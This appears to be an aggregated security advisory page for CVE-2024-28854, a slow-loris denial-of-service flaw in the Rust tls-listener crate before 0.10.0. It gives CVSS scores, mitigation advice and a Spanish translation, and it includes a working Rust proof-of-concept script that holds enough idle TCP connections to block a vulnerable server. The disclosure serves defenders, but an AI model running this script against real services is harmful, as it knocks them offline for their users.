CVE-2024-28854
JSON

7.5high

Slow loris vulnerability with default configuration in tls-listener

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
0.97% (higher than 62% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-2qph-qpvm-2qf7RUSTSEC-2024-0341

Description

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

Affected

Product or packageVersionsReported by
tmccombs tls-listener< 0.10.0, before 0.10.0CVE List, NVD
tls-listener (crates.io)before 0.10.0, from 0.0.0-0 before 0.10.0GitHub Advisory Database, RustSec Advisory Database

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
RustSec Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Classification

CWE-400

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

GitHub Advisory Database
Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

NVD (es)

tls-listener es un contenedor de idioma oxidado alrededor de un oyente de conexión para admitir TLS. Con la configuración predeterminada de tls-listener, un usuario malintencionado puede abrir 6.4 `TcpStream` por segundo, enviando 0 bytes y puede desencadenar un DoS. Las opciones de configuración predeterminadas hacen que cualquier servicio público que utilice `TlsListener::new()` sea vulnerable a un ataque DoS de loris lento. Esto afecta a cualquier servicio de acceso público que utilice la configuración predeterminada de tls-listener en versiones anteriores a la 0.10.0. Se recomienda a los usuarios que actualicen. Los usuarios que no puedan actualizar pueden mitigar esto pasando un valor grande, como `usize::MAX` como parámetro para `Builder::max_handshakes`.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-28854 changed 2024-08-02CVE Terms of Use
GitHub Advisory DatabaseGHSA-2qph-qpvm-2qf7 changed 2026-09-10CC-BY-4.0
RustSec Advisory DatabaseRUSTSEC-2024-0341 changed 2026-10-12CC0-1.0
NVDCVE-2024-28854 changed 2026-06-17Public domain